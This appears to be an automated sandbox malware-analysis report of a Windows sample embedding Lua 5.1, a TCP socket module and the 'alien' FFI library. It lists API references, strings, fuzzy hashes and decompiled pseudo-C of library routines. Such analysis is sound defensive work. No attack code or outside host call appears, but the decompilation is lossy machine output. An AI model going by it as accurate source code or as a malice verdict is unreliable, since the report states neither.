Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

_errno.MSVCRT ref: 1001290A
strerror.MSVCRT ref: 10012913
luaL_error.LUA5.1(?,10019E90,00000000), ref: 10012920
lua_toboolean.LUA5.1(?,FFFFD8EC), ref: 1001293D
lua_settop.LUA5.1(?,00000000), ref: 1001294C
lua_pushvalue.LUA5.1(?,FFFFD8ED,?,00000000), ref: 10012957

Strings

file is already closed, xrefs: 100128EA

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.$L_where._errnolua_concat.lua_error.lua_pushvalue.lua_pushvfstring.lua_settop.lua_toboolean.lua_touserdata.strerror
String ID: file is already closed
API String ID: 4087978438-1126627374
Opcode ID: c5d9c95f9f9450221b9adf0bc1077d294abf3df60d25e77f02cfc2f0db3864e3
Instruction ID: abf3bd5a7bee9dcb129aa79dfc50d1ceaa03e764a2b3f8a9bd2f37a36f72d66e
Opcode Fuzzy Hash: c5d9c95f9f9450221b9adf0bc1077d294abf3df60d25e77f02cfc2f0db3864e3
Instruction Fuzzy Hash: BC01207E90452037D602E36CBC01FDF229CDF46291F050024F8049B152F734F69281FA

Uniqueness

Uniqueness Score: -1.00%

Function 10016A90, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lua_pushvalue.LUA5.1(?,000000FF,00000001,?,100169DC,?,00000000,?,000000FE), ref: 10016A99
lua_setfield.LUA5.1(?,000000FE,1001AA3C,?,000000FF,00000001,?,100169DC,?,00000000,?,000000FE), ref: 10016AA6

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

lua_pushstring.LUA5.1(?,?,?,000000FE,1001AA3C,?,000000FF,00000001,?,100169DC,?,00000000,?,000000FE), ref: 10016AB1

Part of subcall function 10001980: lua_pushnil.LUA5.1(?), ref: 1000198D

lua_setfield.LUA5.1(?,000000FE,_NAME,?,?,?,000000FE,1001AA3C,?,000000FF,00000001,?,100169DC,?,00000000,?), ref: 10016ABE
strrchr.MSVCRT ref: 10016AC6
lua_pushlstring.LUA5.1(?,?,00000001), ref: 10016ADD
lua_setfield.LUA5.1(?,000000FE,_PACKAGE,?,?,00000001), ref: 10016AEA

Strings

_NAME, xrefs: 10016AB6
_PACKAGE, xrefs: 10016AE2

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_setfield.$S_newlstr.lua_pushlstring.lua_pushnil.lua_pushstring.lua_pushvalue.strrchr
String ID: _NAME$_PACKAGE
API String ID: 3374504982-110922768
Opcode ID: 8094f916a67623ed60a9d12a531134ac805ad218586956c52cfd9c193eb14ca6
Instruction ID: faca8b48c1debe266a38c1564b4e11895dcc9dcaead775864db8f0f90f340db0
Opcode Fuzzy Hash: 8094f916a67623ed60a9d12a531134ac805ad218586956c52cfd9c193eb14ca6
Instruction Fuzzy Hash: 74F0E53911947531A402E62A2E05EDF159EDFC76F0F640305F530750D6DB24F68282EB

Uniqueness

Uniqueness Score: -1.00%

Function 100160E0, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

lua_createtable.LUA5.1(?,00000000,00000001,?,100160D5,?,?,000000FE,gfind,?,000000FF,gmatch,?,string,100179B8), ref: 100160EA
lua_pushlstring.LUA5.1(?,1001AB10,00000000,?,00000000,00000001,?,100160D5,?,?,000000FE,gfind,?,000000FF,gmatch,?), ref: 100160F7

Part of subcall function 10001930: luaS_newlstr.LUA5.1(?,?,?), ref: 1000195A

lua_pushvalue.LUA5.1(?,000000FE,?,1001AB10,00000000,?,00000000,00000001,?,100160D5,?,?,000000FE,gfind,?,000000FF), ref: 100160FF
lua_setmetatable.LUA5.1(?,000000FE,?,000000FE,?,1001AB10,00000000,?,00000000,00000001,?,100160D5,?,?,000000FE,gfind), ref: 10016107
lua_settop.LUA5.1(?,000000FE,?,000000FE,?,000000FE,?,1001AB10,00000000,?,00000000,00000001,?,100160D5,?,?), ref: 1001610F
lua_pushvalue.LUA5.1(?,000000FE,?,000000FE,?,000000FE,?,000000FE,?,1001AB10,00000000,?,00000000,00000001,?,100160D5), ref: 10016117
lua_setfield.LUA5.1(?,000000FE,__index,?,000000FE,?,000000FE,?,000000FE,?,000000FE,?,1001AB10,00000000,?,00000000), ref: 10016124

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

lua_settop.LUA5.1(?,000000FE), ref: 1001612F

Strings

__index, xrefs: 1001611C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.lua_pushvalue.lua_settop.$lua_createtable.lua_pushlstring.lua_setfield.lua_setmetatable.
String ID: __index
API String ID: 3436426435-4084755486
Opcode ID: da38087793a74b0b6ea6fbc193ebaab02bbbaaa17a43cc865835a7ea531c6670
Instruction ID: 08eb729dde67d6604e699908d1fe3c82f31e89e52f1a6f2e5bd92a64cfa20caf
Opcode Fuzzy Hash: da38087793a74b0b6ea6fbc193ebaab02bbbaaa17a43cc865835a7ea531c6670
Instruction Fuzzy Hash: BEE07E7955E93A31E816A2283E02FCE100B8F876F0F340310B632355EA9E99729201AE

Uniqueness

Uniqueness Score: -1.00%

Function 100119A0, Relevance: 15.1, APIs: 10, Instructions: 53COMMON

Download Yara Rule

APIs

lua_pushlightuserdata.LUA5.1(?,10017648), ref: 100119AB
lua_rawget.LUA5.1(?,FFFFD8F0,?,10017648), ref: 100119B6
lua_pushlightuserdata.LUA5.1(?,?,?,FFFFD8F0,?,10017648), ref: 100119BD
lua_rawget.LUA5.1(?,000000FE,?,?,?,FFFFD8F0,?,10017648), ref: 100119C5
lua_type.LUA5.1(?,000000FF,?,000000FE,?,?,?,FFFFD8F0,?,10017648), ref: 100119CD
lua_pushstring.LUA5.1(?), ref: 100119EA

Part of subcall function 10001980: lua_pushnil.LUA5.1(?), ref: 1000198D

lua_pushinteger.LUA5.1(?,?), ref: 100119FC
lua_call.LUA5.1(?,00000002,00000000), ref: 10011A09
lua_pushnil.LUA5.1(?), ref: 10011A14
lua_call.LUA5.1(?,00000002,00000000), ref: 10011A21

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_call.lua_pushlightuserdata.lua_pushnil.lua_rawget.$lua_pushinteger.lua_pushstring.lua_type.
String ID:
API String ID: 4161049710-0
Opcode ID: 793501407c85824faa1923577aff12b3f376e3adb8a81d6425b713906a4a5b97
Instruction ID: 3e247b8ed3a20bf993764acaaf308fbebb6560ad03b73f0ae156f4f17c68ebdf
Opcode Fuzzy Hash: 793501407c85824faa1923577aff12b3f376e3adb8a81d6425b713906a4a5b97
Instruction Fuzzy Hash: CF018C7994AA2236E401E6187C13FCF325DDF422E4F140614F4146629BFB25BB9281EB

Uniqueness

Uniqueness Score: -1.00%

Function 00591EF0, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00591EF0(intOrPtr _a4) {
				intOrPtr* _t8;
				void* _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				void* _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				intOrPtr _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				char* _t35;
				char* _t36;
				intOrPtr* _t37;
				intOrPtr* _t38;
				void* _t39;
				void* _t40;

				_t34 = _a4;
				_t8 = E00591200(_t34, "tcp{client}", 1);
				_push(0);
				_push("both");
				_push(2);
				_push(_t34);
				_t38 = _t8;
				L00594B78();
				_t40 = _t39 + 0x1c;
				_t19 =  *_t8 - 0x62;
				if(_t19 == 0) {
					_t35 = "both";
					while(1) {
						_t28 =  *_t8;
						_t20 = _t28;
						if(_t28 !=  *_t35) {
							break;
						}
						if(_t20 == 0) {
							L26:
							_t8 = 0;
						} else {
							_t29 =  *((intOrPtr*)(_t8 + 1));
							_t21 = _t29;
							if(_t29 != _t35[1]) {
								break;
							} else {
								_t8 = _t8 + 2;
								_t35 =  &(_t35[2]);
								if(_t21 != 0) {
									continue;
								} else {
									goto L26;
								}
							}
						}
						L28:
						if(_t8 == 0) {
							_push(2);
							goto L31;
						} else {
							goto L29;
						}
						goto L33;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					goto L28;
				} else {
					_t22 = _t19 - 0x10;
					if(_t22 == 0) {
						_t36 = "receive";
						while(1) {
							_t30 =  *_t8;
							_t23 = _t30;
							if(_t30 !=  *_t36) {
								break;
							}
							if(_t23 == 0) {
								L17:
								_t8 = 0;
							} else {
								_t31 =  *((intOrPtr*)(_t8 + 1));
								_t24 = _t31;
								if(_t31 != _t36[1]) {
									break;
								} else {
									_t8 = _t8 + 2;
									_t36 =  &(_t36[2]);
									if(_t24 != 0) {
										continue;
									} else {
										goto L17;
									}
								}
							}
							L19:
							if(_t8 != 0) {
								goto L29;
							} else {
								_push(_t8);
								goto L31;
							}
							goto L33;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L19;
					} else {
						if(_t22 != 1) {
							L32:
							_push(0x3ff00000);
							_push(0);
							_push(_t34);
							L00594B5A();
							return 1;
						} else {
							_t37 = 0x596274;
							while(1) {
								_t32 =  *_t8;
								_t26 = _t32;
								if(_t32 !=  *_t37) {
									break;
								}
								if(_t26 == 0) {
									L8:
									_t8 = 0;
								} else {
									_t33 =  *((intOrPtr*)(_t8 + 1));
									_t27 = _t33;
									if(_t33 !=  *((intOrPtr*)(_t37 + 1))) {
										break;
									} else {
										_t8 = _t8 + 2;
										_t37 = _t37 + 2;
										if(_t27 != 0) {
											continue;
										} else {
											goto L8;
										}
									}
								}
								L10:
								if(_t8 != 0) {
									L29:
									_push("invalid shutdown method");
									_push(2);
									_push(_t34);
									L00594B2A();
									return 0;
								} else {
									_push(1);
									L31:
									_push(_t38);
									E005941E0();
									_t40 = _t40 + 8;
									goto L32;
								}
								goto L33;
							}
							asm("sbb eax, eax");
							asm("sbb eax, 0xffffffff");
							goto L10;
						}
					}
				}
				L33:
			}

0x00591ef4
0x00591f00
0x00591f05
0x00591f07
0x00591f0c
0x00591f0e
0x00591f0f
0x00591f11
0x00591f19
0x00591f1c
0x00591f1f
0x00591fa7
0x00591fac
0x00591fac
0x00591fb0
0x00591fb4
0x00000000
0x00000000
0x00591fb8
0x00591fd0
0x00591fd0
0x00591fba
0x00591fba
0x00591fc0
0x00591fc4
0x00000000
0x00591fc6
0x00591fc6
0x00591fc9
0x00591fce
0x00000000
0x00000000
0x00000000
0x00000000
0x00591fce
0x00591fc4
0x00591fd9
0x00591fdb
0x00591ff4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00591fdb
0x00591fd4
0x00591fd6
0x00000000
0x00591f25
0x00591f25
0x00591f28
0x00591f6e
0x00591f73
0x00591f73
0x00591f77
0x00591f7b
0x00000000
0x00000000
0x00591f7f
0x00591f97
0x00591f97
0x00591f81
0x00591f81
0x00591f87
0x00591f8b
0x00000000
0x00591f8d
0x00591f8d
0x00591f90
0x00591f95
0x00000000
0x00000000
0x00000000
0x00000000
0x00591f95
0x00591f8b
0x00591fa0
0x00591fa2
0x00000000
0x00591fa4
0x00591fa4
0x00000000
0x00591fa4
0x00000000
0x00591fa2
0x00591f9b
0x00591f9d
0x00000000
0x00591f2a
0x00591f2b
0x00591fff
0x00591fff
0x00592004
0x00592006
0x00592007
0x00592018
0x00591f31
0x00591f31
0x00591f36
0x00591f36
0x00591f3a
0x00591f3e
0x00000000
0x00000000
0x00591f42
0x00591f5a
0x00591f5a
0x00591f44
0x00591f44
0x00591f4a
0x00591f4e
0x00000000
0x00591f50
0x00591f50
0x00591f53
0x00591f58
0x00000000
0x00000000
0x00000000
0x00000000
0x00591f58
0x00591f4e
0x00591f63
0x00591f65
0x00591fdd
0x00591fdd
0x00591fe2
0x00591fe4
0x00591fe5
0x00591ff3
0x00591f67
0x00591f67
0x00591ff6
0x00591ff6
0x00591ff7
0x00591ffc
0x00000000
0x00591ffc
0x00000000
0x00591f65
0x00591f5e
0x00591f60
0x00000000
0x00591f60
0x00591f2b
0x00591f28
0x00000000

APIs

Part of subcall function 00591200: sprintf.MSVCRT ref: 0059122F
Part of subcall function 00591200: luaL_argerror.LUA5.1(?,?,?), ref: 0059123C

luaL_optlstring.LUA5.1(?,00000002,both,00000000,?,tcp{client},00000001), ref: 00591F11
luaL_argerror.LUA5.1(?,00000002,invalid shutdown method), ref: 00591FE5
lua_pushnumber.LUA5.1(?,00000000,3FF00000), ref: 00592007

Strings

tcp{client}, xrefs: 00591EFA
invalid shutdown method, xrefs: 00591FDD
send, xrefs: 00591F31
both, xrefs: 00591F07, 00591FA7
receive, xrefs: 00591F6E

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.$L_optlstring.lua_pushnumber.sprintf
String ID: both$invalid shutdown method$receive$send$tcp{client}
API String ID: 926906161-2412307901
Opcode ID: cc50a991bc0bbeac028c01482642c40e1fef950497200012c0d05c39dd5d06e4
Instruction ID: 65d5af619588534ca9e48b851a23543e790074b55c80d9a5cf8030e8422b9c53
Opcode Fuzzy Hash: cc50a991bc0bbeac028c01482642c40e1fef950497200012c0d05c39dd5d06e4
Instruction Fuzzy Hash: 6531FE1664496F26DF2019341CA2FB76FD62F77791F194A60F8C597392F3078C0C9264

Uniqueness

Uniqueness Score: -1.00%

Function 100109C0, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 100109CD

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

luaL_optinteger.LUA5.1(?,00000002,00000001,?,00000001,00000005), ref: 100109D7

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

lua_type.LUA5.1(?,00000003,?,00000002,00000001,?,00000001,00000005), ref: 100109E1
lua_objlen.LUA5.1(?,00000001), ref: 100109F0
luaL_checkinteger.LUA5.1(?,00000003), ref: 100109FA
luaL_checkstack.LUA5.1(?,00000000,table too big to unpack), ref: 10010A1B

Part of subcall function 1000F3E0: lua_checkstack.LUA5.1(?,?), ref: 1000F3EB
Part of subcall function 1000F3E0: luaL_error.LUA5.1(?,stack overflow (%s),?), ref: 1000F402

lua_rawgeti.LUA5.1(?,00000001,00000000), ref: 10010A2B

Strings

table too big to unpack, xrefs: 10010A14

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checkstack.L_checktype.L_error.L_optinteger.lua_checkstack.lua_objlen.lua_rawgeti.
String ID: table too big to unpack
API String ID: 2686278310-1688879504
Opcode ID: 481ee2eb98caf4f1dc52a77ae13c14628df95149840e29a7dd4f55bc9e100416
Instruction ID: 54af84c5a5a873da6852ea26aa7f1c3e5c03f07e51342cda2245e601a0b2ed9c
Opcode Fuzzy Hash: 481ee2eb98caf4f1dc52a77ae13c14628df95149840e29a7dd4f55bc9e100416
Instruction Fuzzy Hash: D401DB2779430531F520E4556CC3FFFA55CDF52AD1F000139F640B90C6EAD7A98111A2

Uniqueness

Uniqueness Score: -1.00%

Function 005E2DE0, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E005E2DE0(intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* _t3;
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t7;
				intOrPtr* _t10;
				intOrPtr _t12;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t15;
				void* _t16;
				void* _t17;
				void* _t18;

				_t15 = _a4;
				_t4 = E005E1110(_t3, 1, _t15, "alien_buffer");
				_t10 = _t4;
				_t17 = _t16 + 4;
				if(_t10 == 0) {
					_push("alien buffer expected");
					_push(1);
					_push(_t15);
					L005E3F14();
					_t17 = _t17 + 0xc;
				}
				_push(_t15);
				L005E3F38();
				_t18 = _t17 + 4;
				if(_t4 < 2) {
					L5:
					_t5 = _t10;
					_t2 = _t5 + 1; // 0x1
					_t13 = _t2;
					do {
						_t12 =  *_t5;
						_t5 = _t5 + 1;
					} while (_t12 != 0);
					_t14 = _t5 - _t13;
					_t7 = 0;
				} else {
					_push(2);
					_push(_t15);
					L005E3F4A();
					_t18 = _t18 + 8;
					if(_t4 == 0) {
						goto L5;
					} else {
						_push(2);
						_push(_t15);
						L005E3FCE();
						_push(1);
						_push(3);
						_push(_t15);
						_t14 = _t4;
						L005E3FC2();
						_t18 = _t18 + 0x14;
						_t7 = _t4 - 1;
					}
				}
				_push(_t14);
				_push(_t10 + _t7);
				_push(_t15);
				L005E3FC8();
				return 1;
			}

0x005e2de2
0x005e2df1
0x005e2df6
0x005e2df8
0x005e2dfd
0x005e2dff
0x005e2e04
0x005e2e06
0x005e2e07
0x005e2e0c
0x005e2e0c
0x005e2e0f
0x005e2e10
0x005e2e15
0x005e2e1b
0x005e2e48
0x005e2e48
0x005e2e4a
0x005e2e4a
0x005e2e50
0x005e2e50
0x005e2e52
0x005e2e55
0x005e2e5b
0x005e2e5d
0x005e2e1d
0x005e2e1d
0x005e2e1f
0x005e2e20
0x005e2e25
0x005e2e2a
0x00000000
0x005e2e2c
0x005e2e2c
0x005e2e2e
0x005e2e2f
0x005e2e34
0x005e2e36
0x005e2e38
0x005e2e39
0x005e2e3b
0x005e2e40
0x005e2e43
0x005e2e43
0x005e2e2a
0x005e2e5f
0x005e2e62
0x005e2e63
0x005e2e64
0x005e2e74

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien buffer expected), ref: 005E2E07
lua_gettop.LUA5.1(?), ref: 005E2E10
lua_type.LUA5.1(?,00000002), ref: 005E2E20
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E2E2F
luaL_optinteger.LUA5.1(?,00000003,00000001,?,00000002), ref: 005E2E3B
lua_pushlstring.LUA5.1(?,00000000,-00000001), ref: 005E2E64

Strings

alien buffer expected, xrefs: 005E2DFF
alien_buffer, xrefs: 005E2DE7

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checkinteger.L_optinteger.lua_getfield.lua_getmetatable.lua_gettop.lua_pushlstring.lua_rawequal.lua_settop.lua_touserdata.lua_type.
String ID: alien buffer expected$alien_buffer
API String ID: 3507704453-566560685
Opcode ID: bce3e42a1c067f0dc3f202eb5b65fd1e02cbced2b916ee93cce3cd5ee6328e94
Instruction ID: f6c770f7a95787517c48ba03ab52e56dc7a94bb7b03a0bf289c13a786c9d66a9
Opcode Fuzzy Hash: bce3e42a1c067f0dc3f202eb5b65fd1e02cbced2b916ee93cce3cd5ee6328e94
Instruction Fuzzy Hash: C5014CB2B502A123E71822265C4FFBB2A9DAFD6704F040430F984D7282F59ACB0542E2

Uniqueness

Uniqueness Score: -1.00%

Function 00591DA0, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00591DA0(void* __eflags, void* __fp0, intOrPtr _a4) {
				void* _t3;
				void* _t12;
				intOrPtr _t13;

				_t13 = _a4;
				_t3 = E00591250(_t13, "tcp{any}", 1);
				_push(0);
				_push(2);
				_push(_t13);
				_t11 = _t3;
				L00594B54();
				_push(3);
				_push(_t13);
				L00594B66();
				L00594BD0();
				_t2 = _t11 + 0x2038; // 0x2038
				_push(E00592DC0(__fp0, _t2));
				_t12 = E005917B0(__fp0, _t3, _t3, _t3);
				E005912A0(_t13, "tcp{client}", 1);
				if(_t12 == 0) {
					_push(0x3ff00000);
					_push(0);
					_push(_t13);
					L00594B5A();
					return 1;
				} else {
					_push(_t13);
					L00594B4E();
					_push(_t12);
					_push(_t13);
					L00594AD0();
					return 2;
				}
			}

0x00591da3
0x00591db0
0x00591db5
0x00591db7
0x00591db9
0x00591dba
0x00591dbc
0x00591dc1
0x00591dc3
0x00591dc6
0x00591dcb
0x00591dd2
0x00591dde
0x00591def
0x00591df1
0x00591dfb
0x00591e17
0x00591e1c
0x00591e1e
0x00591e1f
0x00591e30
0x00591dfd
0x00591dfd
0x00591dfe
0x00591e03
0x00591e04
0x00591e05
0x00591e16
0x00591e16

APIs

Part of subcall function 00591250: sprintf.MSVCRT ref: 0059127F
Part of subcall function 00591250: luaL_argerror.LUA5.1(?,?,?), ref: 0059128C

luaL_checklstring.LUA5.1(?,00000002,00000000,?,tcp{any},00000001), ref: 00591DBC
luaL_checknumber.LUA5.1(?,00000003,?,00000002,00000000,?,tcp{any},00000001), ref: 00591DC6
_ftol.MSVCRT ref: 00591DCB

Part of subcall function 005917B0: htons.WSOCK32 ref: 005917D3

Part of subcall function 005912A0: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 005912B0
Part of subcall function 005912A0: lua_setmetatable.LUA5.1(?,?), ref: 005912C3

lua_pushnil.LUA5.1(?), ref: 00591DFE
lua_pushstring.LUA5.1(?,00000000,?), ref: 00591E05
lua_pushnumber.LUA5.1(?,00000000,3FF00000), ref: 00591E1F

Strings

tcp{client}, xrefs: 00591DE9
tcp{any}, xrefs: 00591DAA

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checklstring.L_checknumber._ftolhtonslua_getfield.lua_pushnil.lua_pushnumber.lua_pushstring.lua_setmetatable.sprintf
String ID: tcp{any}$tcp{client}
API String ID: 128655095-3412755644
Opcode ID: 4b309eb3e67dba86a35368f50000eea6a1f2599b318a8e858e72980f26f24bda
Instruction ID: ba4d8ea813926d07bbc5c8e02475b69e9acdfa6fd78ed0735c0bea4fc713a81d
Opcode Fuzzy Hash: 4b309eb3e67dba86a35368f50000eea6a1f2599b318a8e858e72980f26f24bda
Instruction Fuzzy Hash: CF01F972B4172632EE1032646C4BFEB6A4EEFC2765F000421F600E7183DA96AD0605FD

Uniqueness

Uniqueness Score: -1.00%

Function 005E2B80, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E005E2B80(intOrPtr* __eax, long long __fp0, intOrPtr _a4) {
				intOrPtr _t5;
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t11;
				void* _t12;
				void* _t13;
				long long* _t15;
				long long _t21;

				_t21 = __fp0;
				_t10 = _a4;
				_push(0);
				_push(1);
				_push(_t10);
				L005E3F32();
				_push(__eax);
				_push(2);
				_push(_t10);
				L005E3FB0();
				_t11 = __eax;
				_t5 =  *__eax;
				_t13 = _t12 + 0x18;
				if(_t5 == 6) {
					L9:
					_push(_t10);
					L005E3F38();
					return _t5 - 2;
				} else {
					goto L1;
				}
				do {
					L1:
					_t7 = _t5 - 2;
					if(_t7 == 0) {
						asm("fild dword [esi+0x4]");
						_t15 = _t13 - 8;
						 *_t15 = _t21;
						_push(_t10);
						L005E3F80();
						_t13 = _t15 + 0xc;
					} else {
						if(_t7 == 0xa) {
							_t9 =  *((intOrPtr*)(_t11 + 4));
							if(_t9 == 0) {
								_push(_t10);
								L005E3F74();
								_t13 = _t13 + 4;
							} else {
								_push(_t9);
								_push(_t10);
								L005E3F7A();
								_t13 = _t13 + 8;
							}
						} else {
							_push("wrong type in wrapped value");
							_push(_t10);
							L005E3F26();
							_t13 = _t13 + 8;
						}
					}
					_t5 =  *((intOrPtr*)(_t11 + 8));
					_t11 = _t11 + 8;
				} while (_t5 != 6);
				goto L9;
			}

0x005e2b80
0x005e2b82
0x005e2b86
0x005e2b88
0x005e2b8a
0x005e2b8b
0x005e2b90
0x005e2b91
0x005e2b93
0x005e2b94
0x005e2b99
0x005e2b9b
0x005e2b9d
0x005e2ba3
0x005e2bfa
0x005e2bfa
0x005e2bfb
0x005e2c08
0x00000000
0x00000000
0x00000000
0x005e2ba5
0x005e2ba5
0x005e2ba5
0x005e2ba8
0x005e2bdd
0x005e2be0
0x005e2be3
0x005e2be6
0x005e2be7
0x005e2bec
0x005e2baa
0x005e2bad
0x005e2bbf
0x005e2bc4
0x005e2bd2
0x005e2bd3
0x005e2bd8
0x005e2bc6
0x005e2bc6
0x005e2bc7
0x005e2bc8
0x005e2bcd
0x005e2bcd
0x005e2baf
0x005e2baf
0x005e2bb4
0x005e2bb5
0x005e2bba
0x005e2bba
0x005e2bad
0x005e2bef
0x005e2bf2
0x005e2bf5
0x00000000

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 005E2B8B
luaL_checkudata.LUA5.1(?,00000002,00000000,?,00000001,00000000), ref: 005E2B94
luaL_error.LUA5.1(?,wrong type in wrapped value), ref: 005E2BB5
lua_pushlightuserdata.LUA5.1(?,?), ref: 005E2BC8
lua_pushnumber.LUA5.1(?), ref: 005E2BE7
lua_gettop.LUA5.1(?), ref: 005E2BFB

Strings

wrong type in wrapped value, xrefs: 005E2BAF

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.L_checkudata.L_error.lua_gettop.lua_pushlightuserdata.lua_pushnumber.
String ID: wrong type in wrapped value
API String ID: 1197628295-2879723630
